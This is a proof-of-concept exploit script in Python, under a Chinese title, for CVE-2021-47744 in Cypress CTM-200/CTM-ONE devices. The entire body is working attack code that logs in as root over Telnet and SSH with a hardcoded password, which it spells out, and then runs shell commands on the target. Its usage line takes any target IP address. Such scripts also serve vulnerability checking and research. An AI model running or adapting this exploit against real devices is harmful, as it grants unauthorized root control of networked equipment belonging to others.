CVE-2021-47744 Cypress CTM设备硬编码凭证导致远程root访问

#!/usr/bin/env python3 """ CVE-2021-47744 PoC - Cypress CTM Hardcoded Credentials Description: Exploits hardcoded 'Chameleon' password in Cypress CTM-200/CTM-ONE devices Author: Security Researcher Reference: https://www.exploit-db.com/exploits/50407 """ import socket import sys import paramiko from paramiko import SSHClient, AutoAddPolicy def check_telnet_vulnerability(target_ip, target_port=23): """Check if target is vulnerable via Telnet""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # Wait for login prompt import time time.sleep(2) response = sock.recv(1024).decode('utf-8', errors='ignore') print(f"[+] Telnet banner received: {response.strip()}") # Send username sock.send(b"root\n") time.sleep(1) # Send hardcoded password 'Chameleon' sock.send(b"Chameleon\n") time.sleep(2) response = sock.recv(2048).decode('utf-8', errors='ignore') if "#" in response or "$" in response or "login" not in response.lower(): print(f"[!] VULNERABLE: Authentication successful via Telnet!") print(f"[+] Received response: {response.strip()}") return True else: print(f"[-] Not vulnerable via Telnet") return False except Exception as e: print(f"[-] Telnet check failed: {e}") return False finally: sock.close() def check_ssh_vulnerability(target_ip, target_port=22): """Check if target is vulnerable via SSH""" try: client = SSHClient() client.set_missing_host_key_policy(AutoAddPolicy()) # Attempt login with hardcoded credentials client.connect( hostname=target_ip, port=target_port, username='root', password='Chameleon', timeout=10, allow_agent=False, look_for_keys=False ) print(f"[!] VULNERABLE: Authentication successful via SSH!") # Execute test command stdin, stdout, stderr = client.exec_command('whoami;id;hostname') print(f"[+] Command output: {stdout.read().decode()}") client.close() return True except paramiko.AuthenticationException: print(f"[-] Not vulnerable via SSH (authentication failed)") return False except Exception as e: print(f"[-] SSH check failed: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2021-47744.py <target_ip> [port]") print("Example: python cve-2021-47744.py 192.168.1.100") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else None print(f"[*] Testing CVE-2021-47744 on {target}") print("=" * 50) if port: if port == 23: check_telnet_vulnerability(target, port) elif port == 22: check_ssh_vulnerability(target, port) else: # Test both services print("[*] Testing Telnet (port 23)...") check_telnet_vulnerability(target, 23) print("\n[*] Testing SSH (port 22)...") check_ssh_vulnerability(target, 22) if __name__ == "__main__": main()